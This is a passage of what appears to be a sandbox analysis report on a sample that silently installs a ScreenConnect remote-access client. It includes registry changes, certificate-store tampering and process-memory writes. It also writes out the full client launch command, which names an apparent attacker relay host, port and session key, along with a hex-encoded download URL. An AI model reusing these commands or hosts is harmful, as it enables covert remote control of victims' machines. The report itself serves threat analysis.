\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..vice_4b14c015c87c1ad8_0018.0002_none_0564cf62aaf28471\lock!0c000000f1ff770ffc0a0000f007000000000000000000002 = 30303030306166632c30316462316534346138313137373830 dfsvc.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0018.0002_none_5411371a15332106\SizeOfStronglyNamedComponent = 3c72080000000000 dfsvc.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Assemblies ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{60051b8f-4f12-400a-8e50-dd05ebd438d1} dfsvc.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..dows_4b14c015c87c1ad8_0018.0002_none_58890efb51813436\implication!scre..tion_25b0fbb6ef7eb094_0018.0002_ae93 = 68747470733a2f2f75707068656c702e746f702f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32342e322e31302e383939312c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c dfsvc.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0018.0002_none_ea2694ec2482770a\identity = 53637265656e436f6e6e6563742e436c69656e742c2056657273696f6e3d32342e322e31302e383939312c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c dfsvc.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0018.0002_none_399c0f24bfe6e975 dfsvc.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0018.0002_none_ea2694ec2482770a\Files\ScreenConnect.Client.dll_fc1d7bd48553fcab = 01 dfsvc.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide ScreenConnect.WindowsClient.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..vice_4b14c015c87c1ad8_0018.0002_none_0564cf62aaf28471\lock!180000003f00780f80050000100b000000000000000000000 = 30303030303538302c30316462316534346431333433613830 ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows dfsvc.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment dfsvc.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb09 = 460061006c00730065000000 dfsvc.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413 dfsvc.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0018.0002_ae93ec2462efb67b\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e596 = 01 dfsvc.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Families\Gi_scre..tion_25b0fbb6ef7eb094_9edfe039055229dd ScreenConnect.WindowsClient.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Families\Gi_scre..tion_25b0fbb6ef7eb094_9edfe039055229dd\LastRunVersion = 68747470733a2f2f75707068656c702e746f702f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32342e322e31302e383939312c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2f53637265656e436f6e6e6563742e57696e646f7773436c69656e742e6578652c2056657273696f6e3d32342e322e31302e383939312c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2c20747970653d77696e3332 ScreenConnect.WindowsClient.exe Key deleted \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0 dfsvc.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\identity = 53637265656e436f6e6e6563742e57696e646f7773436c69656e742e6578652c2056657273696f6e3d32342e322e31302e383939312c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2c20747970653d77696e3332 dfsvc.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\implication!scre..tion_25b0fbb6ef7eb094_0018.0002_ae93 = 68747470733a2f2f75707068656c702e746f702f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32342e322e31302e383939312c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c dfsvc.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0018.0002_none_0564cf62aaf28471\DigestValue = 044227fa43b7654032524d6f530f5e9b608e5be4 dfsvc.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\Files dfsvc.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\lock!06000000f1ff770ffc0a0000f007000000000000000000002 = 30303030306166632c30316462316534346138313137373830 dfsvc.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\lock!0c0000003000780f80050000100b00000000000000000000a = 30303030303538302c30316462316534346431333433613830 ScreenConnect.WindowsClient.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579 defe3ce55efec3331afaaa98abe87d6a2aa738ddae5b1f840a92368199276023.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579\Blob = 0300000001000000140000004c2272fba7a7380f55e2a424e9e624aee1c145792000000001000000640700003082076030820548a00302010202100b9360051bccf66642998998d5ba97ce300d06092a864886f70d01010b05003069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e67205253413430393620534841333834203230323120434131301e170d3232303831373030303030305a170d3235303831353233353935395a3065310b30090603550406130255533110300e06035504081307466c6f72696461310e300c0603550407130554616d706131193017060355040a1310436f6e6e656374776973652c204c4c433119301706035504031310436f6e6e656374776973652c204c4c4330820222300d06092a864886f70d01010105000382020f003082020a0282020100ec489826d08d2c6de21b3cd3676db1e0e50cb1ff75ff564e9741f9574aa3640aa8297294a05b4db68abd0760b6b05b50ce92ff42a4e390be776a43e9961c722f6b3a4d5c880bcc6a61b4026f9137d36b2b7e9b86055876b9fa860dbcb164fe7f4b5b9de4799ae4e02dc1f0bee01e5d032933a2827388f8db0b482e76c441b1bd50909ef2023e1fb62196c994ce052266b28cd89253e6416044133139764db5fc45702529536bf82c775f9ec81fa27dc409530325f40cdef95b81b9ce0d42791cee72e7bd1b36c257b52257c65a28970e457513989434bfc239e2992b193e1b3cc3f11ccdd1d26d4ec9845099ab913906a42069af999c0071169b45a2ea1aa666f1904e8acb05e1823a359a291fd46b4ef7aed5935bb6ab17ebf077210726930c90f01761d6544a94e8fa614cc41d817eec734b1c3d3afb7c58fb256f0c09edc1459bddbff9940ed1958570265d67af79a9b6a16affd70fc6328c9810d5dc186e39af6fbcad49a270f237e6bcd5de0bc014bc3179cd79776591340311a42ca94f33416c2e01b59bd1d71de86ace6716bc90b2d7695d155039aa08fbac19a4d93fb784230a20a485287a16355645fc09142c602d140fa046b7bfd75328184ff7bdf8f9e0d65e6201c8d242931047f59bd328ac353777ccefa60408887b84fc3631301463461a1d73c0b5cc74d6d82905ddf923bdbab027a311cc38d3fa16f639a50203010001a382020630820202301f0603551d230418301680146837e0ebb63bf85f1186fbfe617b088865f44e42301d0603551d0e04160414338ce10a6e06d9c6ed0bc6cae736cefb8188646a300e0603551d0f0101ff04040302078030130603551d25040c300a06082b060105050703033081b50603551d1f0481ad3081aa3053a051a04f864d687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c3053a051a04f864d687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c303e0603551d20043730353033060667810c0104013029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f43505330819406082b06010505070101048187308184302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305c06082b060105050730028650687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820201000ad79f00cf4984864c8981ecce8718aa875647f6a74608c968e16568c7aa9d711ed7341676038067f01330c91621b27a2a8894c4108c268162a31f13f9757a7d6bb3c6f19bf27c3a29896d712d85873627d827cd6471761444fabf1d31e903f791143c5b4ce5e7444aacba36d759aeba3069d195226755cbc675aa747f77596c53c96e083c45bba24479d6845eea9f2b28ba29b4dcf0bcf14aa4ce176c24e2c1b8fec3ee16e1c086db6fda97388859e83be65c03f701395b78b842c6dd1533ef642cca6fe50f6337d3f2dfedd8b28f2b28e0c98edd2151392e7cc75489f48859f1de14c81b306eb50eed7bb78be30eaada76767c4ca523a11eec5a2372d6122926ab1801a6a6778e9504791487ee47d4577154988802070f80fc535957658f954cd083546c5afb5a6567b6761275f5db20f70ab86feef94c7cfc65369d325121b69a82399bc7dc1962416f0f05cf1eee64d495a3527e464e2c68da0187093f97b673e43dddbcc067e00713f1565fcff8c3772d44b40a04e600644f22a990345f9a6b5b52963e82c81a0ce91d43a230f67b37d8debda40ea3d59d305e18adc1976516c12a8ba2bca24143b12e9527b4dca58872aa9b3a8c6ac563fc2dc02bf51be889516d35a4ba9d062417b5bdcc50ba945fae26b60d6aec03984798a6a21d3ff793cc0849e81ed55b8027411c50db776ae8feef2fdc2dafb04345261dedc054 defe3ce55efec3331afaaa98abe87d6a2aa738ddae5b1f840a92368199276023.exe Key created \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C defe3ce55efec3331afaaa98abe87d6a2aa738ddae5b1f840a92368199276023.exe Set value (data) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C\Blob = 0300000001000000140000007b0f360b775f76c94a12ca48445aa2d2a875701c2000000001000000b4060000308206b030820498a003020102021008ad40b260d29c4c9f5ecda9bd93aed9300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3231303432393030303030305a170d3336303432383233353935395a3069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e6720525341343039362053484133383420323032312043413130820222300d06092a864886f70d01010105000382020f003082020a0282020100d5b42f42d028ad78b75dd539591bb18842f5338ceb3d819770c5bbc48526309fa48e68d85cf5eb342407e14b4fd37843f417d71edaf9d2d5671a524f0ea157fc8899c191cc81033e4d702464b38de2087d347d4c8057126b439a99f2c53b1ff2efcb475a13a64cb3012025f310d38bb2fb08f08ae09d09c065a7fa98804935873d5119e8902178452ea19f2ce118c21accc5ee93497042328ffbc6ea1cf3656891a24d4c8211485268de10bd14575de8181365c57fb24f852c48a4568435d6f92e9caa0015d137fe1a0694c27cc8ea1b32e6cac2f4a7a3030e74a5af39b6ab6012e3e8d6b9f731e1dcade418a0d8c1234747b3a10f6ea3ab6d9806831bb76a672dd2bd441a9210818fb03b09d7c79b325ac2ff6a60548b49c193ede1b45ce06feb26f98cd5b2f93810e6eace91f5bed3fb6f9361345cbc93452883362a66285fb073ce8b262506b283d45cf615194ced62e05e33f2e8e8ec0aa7b0032b91b23679bef7ad081e75a665ccbbe34850f377911afedb50a246c8615898f57c02163c8328ad3986ecd4b70d53d0f847e675308dec30937614a65b4b5d74614d3f129176debf58cb72102941f0d5c56d267668114113589adc262b01f4894d59db78cf814a3e40475fc98150738510232159608a6454c1cc211ae838197c661ccd78384530994fff634f4cbbaa0d0853417c583d47b3fab6ec8c320902cc6c3c0c56110203010001a38201593082015530120603551d130101ff040830060101ff020100301d0603551d0e041604146837e0ebb63bf85f1186fbfe617b088865f44e42301f0603551d23041830168014ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070303307706082b06010505070101046b3069302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304106082b060105050730028635687474703a2f2f636163657274732e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63727430430603551d1f043c303a3038a036a0348632687474703a2f2f63726c332e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63726c301c0603551d20041530133007060567810c01033008060667810c010401300d06092a864886f70d01010c050003820201003a23443d8d0876ee8fbc3a99d356e0021aa5f84834f32cb6e67466f79472b100caaf6c302713129e90449f4bfd9ea37c26d537bc3a5d486d95d53f49f427bb16814550fd9cbdb685e0767e3771cb22f75aaa90cff5936ae3eb20d1d55079889a8a8ac1b6bda148187edcd8801a111918cd61998156f6c9e376e7c4e41b5f43f83e94ff76393d9ed499cf4add28eb5f26a1955848d51afed7273ffd90d17686dd1cb0605cf30da8eee089a1bd39e1384eda6ebb369dfbe521535ac3cae96af1a23edb43b833c84f38149299f5ddce546dd95d02141f40337c03e295b2c221757352cb46d8c4341ca2a54b8dcd6f76372c853f1ace26e918be9007b0437f9588208270f0cccaeffd29355c1f893855f7378a8b09a1cb0be9311aff2e195c3971e1be9ca70a06d62667b792e64e5fde7aac49cf2ea47492addb3ca49c861fe3c1561b2b23ff8fb5ea887b706be6a0bafd3a3f45a6c4e81691528b41c048844b964dab4440e38df01528ceedf11856072a2f10c40c08643c338fae288c3ccb8f880b0dbf3bf4ce1e7b8eefb5ebcbb7f07713e6e7283fac12aea52f226c41f9825c1566cc6c0ecac586c3f626330c074ba0d307026a6a4030484b34a85120bbad1b8508e2590d6dca05502bea4a1c9ea5fda0a71f0674e7f2d65290fdaf854821f9573bb49c03ed8645f4b4616ebf68e2266086eac8afa9fe941de7631b3a8656784e defe3ce55efec3331afaaa98abe87d6a2aa738ddae5b1f840a92368199276023.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1132 ScreenConnect.ClientService.exe 1132 ScreenConnect.ClientService.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2812 dfsvc.exe Token: SeDebugPrivilege 1132 ScreenConnect.ClientService.exe -
Suspicious use of WriteProcessMemory 17 IoCs
description pid Process procid_target PID 2772 wrote to memory of 2812 2772 defe3ce55efec3331afaaa98abe87d6a2aa738ddae5b1f840a92368199276023.exe 30 PID 2772 wrote to memory of 2812 2772 defe3ce55efec3331afaaa98abe87d6a2aa738ddae5b1f840a92368199276023.exe 30 PID 2772 wrote to memory of 2812 2772 defe3ce55efec3331afaaa98abe87d6a2aa738ddae5b1f840a92368199276023.exe 30 PID 2772 wrote to memory of 2812 2772 defe3ce55efec3331afaaa98abe87d6a2aa738ddae5b1f840a92368199276023.exe 30 PID 2812 wrote to memory of 1408 2812 dfsvc.exe 32 PID 2812 wrote to memory of 1408 2812 dfsvc.exe 32 PID 2812 wrote to memory of 1408 2812 dfsvc.exe 32 PID 2812 wrote to memory of 1408 2812 dfsvc.exe 32 PID 1408 wrote to memory of 1836 1408 ScreenConnect.WindowsClient.exe 33 PID 1408 wrote to memory of 1836 1408 ScreenConnect.WindowsClient.exe 33 PID 1408 wrote to memory of 1836 1408 ScreenConnect.WindowsClient.exe 33 PID 1408 wrote to memory of 1836 1408 ScreenConnect.WindowsClient.exe 33 PID 1132 wrote to memory of 2500 1132 ScreenConnect.ClientService.exe 35 PID 1132 wrote to memory of 2500 1132 ScreenConnect.ClientService.exe 35 PID 1132 wrote to memory of 2500 1132 ScreenConnect.ClientService.exe 35 PID 1132 wrote to memory of 2500 1132 ScreenConnect.ClientService.exe 35 PID 1132 wrote to memory of 2500 1132 ScreenConnect.ClientService.exe 35
Processes
-
C:\Users\Admin\AppData\Local\Temp\defe3ce55efec3331afaaa98abe87d6a2aa738ddae5b1f840a92368199276023.exe"C:\Users\Admin\AppData\Local\Temp\defe3ce55efec3331afaaa98abe87d6a2aa738ddae5b1f840a92368199276023.exe"1⤵
- Manipulates Digital Signatures
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:2772 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"2⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2812 -
C:\Users\Admin\AppData\Local\Apps\2.0\9DGJL7J5.QG2\BTHKY264.52P\scre..tion_25b0fbb6ef7eb094_0018.0002_39677f8182788693\ScreenConnect.WindowsClient.exe"C:\Users\Admin\AppData\Local\Apps\2.0\9DGJL7J5.QG2\BTHKY264.52P\scre..tion_25b0fbb6ef7eb094_0018.0002_39677f8182788693\ScreenConnect.WindowsClient.exe"3⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1408 -
C:\Users\Admin\AppData\Local\Apps\2.0\9DGJL7J5.QG2\BTHKY264.52P\scre..tion_25b0fbb6ef7eb094_0018.0002_39677f8182788693\ScreenConnect.ClientService.exe"C:\Users\Admin\AppData\Local\Apps\2.0\9DGJL7J5.QG2\BTHKY264.52P\scre..tion_25b0fbb6ef7eb094_0018.0002_39677f8182788693\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=qpkl23.zapto.org&p=8041&s=3b776ead-f4ad-41e1-88d0-71a737ecbd10&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Untitled%20Session" "1"4⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1836
-
-
-
-
C:\Users\Admin\AppData\Local\Apps\2.0\9DGJL7J5.QG2\BTHKY264.52P\scre..tion_25b0fbb6ef7eb094_0018.0002_39677f8182788693\ScreenConnect.ClientService.exe"C:\Users\Admin\AppData\Local\Apps\2.0\9DGJL7J5.QG2\BTHKY264.52P\scre..tion_25b0fbb6ef7eb094_0018.0002_39677f8182788693\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=qpkl23.zapto.org&p=8041&s=3b776ead-f4ad-41e1-88d0-71a737ecbd10&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Untitled%20Session" "1"1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1132 -
C:\Users\Admin\AppData\Local\Apps\2.0\9DGJL7J5.QG2\BTHKY264.52P\scre..tion_25b0fbb6ef7eb094_0018.0002_39677f8182788693\ScreenConnect.WindowsClient.exe"C:\Users\Admin\AppData\Local\Apps\2.0\9DGJL7J5.QG2\BTHKY264.52P\scre..tion_25b0fbb6ef7eb094_0018.0002_39677f8182788693\ScreenConnect.WindowsClient.exe" "RunRole" "400deabf-eec4-4283-ac79-109c5faa1b34" "User"2⤵
- Drops file in System32 directory
- Executes dropped EXE
PID:2500
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize342B
MD5c990a3b71493859d57920f54b67d67da
SHA134866a9d0115699f821c8387f453702b1b240711
SHA2566d94ea60243422345f37837e608ce0a16b59fbe694544cda2c3f7f0a27a82c8d
SHA512a3125f923aa988879a176c85e74d22b5797639af32dd637d84c2bdcf158decc7410d23fec5ed1eeabc093fc550a2ce7e6709c2ea29c553cff4fa3231b6e46d74
-
C:\Users\Admin\AppData\Local\Apps\2.0\9DGJL7J5.QG2\BTHKY264.52P\manifests\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92.cdf-ms
Filesize24KB
MD5ffe6dbc749d9230e165bf3d8ef54d80b
SHA1a1c028cce9403e3cadf9c557c0c91577b50e83ce
SHA256d216f1c5f6c3ff993c8fb257fd72785afa6015fa72f94415726faf49e08136e0
SHA512a09216b7b04f9a608116815d9ca564eb91b0ffc4bc835f89040dcbd929c7841bb59caedf5382130a9902bc35887d2cbf21b9ac79dad40066dff93ecac1921e78
-
C:\Users\Admin\AppData\Local\Apps\2.0\9DGJL7J5.QG2\BTHKY264.52P\manifests\scre..core_4b14c015c87c1ad8_0018.0002_none_5411371a15332106.cdf-ms
Filesize3KB
MD516678bf658513900118059f00e1de87e
SHA12fb772cebbdfe3993cd7339bc57697ed94c43b6f
SHA2564bbe9e125d76fa5e0c7eb303e5193371d99b02471e05101595fd0f84007cc1df
SHA5129015e71101f567c947e1afa20bb7402a40acd9cc0976ec4c9f7aa6fc1061471339fb705ec1c67790310e263f8115a1eceff25a3b7c2efeff528dbd73d95dffba
-
C:\Users\Admin\AppData\Local\Apps\2.0\9DGJL7J5.QG2\BTHKY264.52P\manifests\scre..dows_4b14c015c87c1ad8_0018.0002_none_58890efb51813436.cdf-ms
Filesize5KB
MD56c59e775a2d2fdbcfb9d54f771966709
SHA1735f169165378f8a4d34f9a7d3370fb2b5ae08ed
SHA256b94415256f129b650d453806e466c5819c2cf33aaa70956fea25dd2bc7052005
SHA51272ba79cd46d00385f454988a03814e6e24cfe4e9ec117cb37790cad598ab6265f9aa28b0183a297834aa19a7e1c1be435f2a910c0bbb6b192eeb599dfe3948b3
-
C:\Users\Admin\AppData\Local\Apps\2.0\9DGJL7J5.QG2\BTHKY264.52P\manifests\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413.cdf-ms
Filesize6KB
MD548ab5d1daf0aa4bfd6f181129b1cfc5c
SHA17fddba6893dc4a7f0060d1333fb46c9cb9392817
SHA2565715ff42b4be16ceb933c95e4da6d17f75c37ccdfbf3d01623c7aa7a341d3e44
SHA512d2aa6000d86d5cf19b6270102a5d6efebd3317689fa8950e309f894d6ac4bb32aa585025f7baa9ae6e51cef1118758044648be92cce376d57aaa4eed421ab2c3
-
C:\Users\Admin\AppData\Local\Apps\2.0\9DGJL7J5.QG2\BTHKY264.52P\manifests\scre..ient_4b14c015c87c1ad8_0018.0002_none_ea2694ec2482770a.cdf-ms
Filesize2KB
MD5d2bdd638e08254220655ee129693a7b8
SHA1b142f5edef1d8b6ef15ae969b32f3d376f5e5cd3
SHA25614c0fab1eb55ecc90082162735023ff7e5f56b71672c7d207a5e0b56b141bc39
SHA512b9e829339cc9d9444fc779fd7d3a106cc4ae06a6d01f89c89fbf1662d4548896663ebe9ebbaddc4876b89577efb81bd593e3b60579869c25917598c2b9ac2dbb
-
C:\Users\Admin\AppData\Local\Apps\2.0\9DGJL7J5.QG2\BTHKY264.52P\manifests\scre..tion_25b0fbb6ef7eb094_0018.0002_none_399c0f24bfe6e975.cdf-ms
Filesize14KB
MD58b7e8e29fd5177e84d378f05839596f5
SHA14c7baf4cf5ff40ae22049000e4c9b3bf174b9da9
SHA256f8a4cfac653347f717da0c23589fbcf493eb17a95a6552fd7fb3685b5e82d8b9
SHA512c8c52e77dc590d492bd673424b44bd7a2dc3525bb230ac4578cf5e1435544785dd2220dfe56159c97b44e450ee7629aa386cfe4909efe6e49360d3918e54ac0d
-
C:\Users\Admin\AppData\Local\Apps\2.0\9DGJL7J5.QG2\BTHKY264.52P\manifests\scre..vice_4b14c015c87c1ad8_0018.0002_none_0564cf62aaf28471.cdf-ms
Filesize4KB
MD5f59c4fab8a0d13bc0c20fe05abeea1de
SHA15d2fb3838cfb2a7fe53a771f0135c11f04052598
SHA2564d5e8e1c9017108d09b5bbd3a6e4bcf5d09a8f485e8b98f5facdfeda5b179d87
SHA5121d8a113054333fae781e9354743b37d3cf3a3d7a36c0d727c6aafd1ff854cb27178ad895cc4522a789cdb15313730a30d6ef0e640def7e29a00f2a41a80f42d3
-
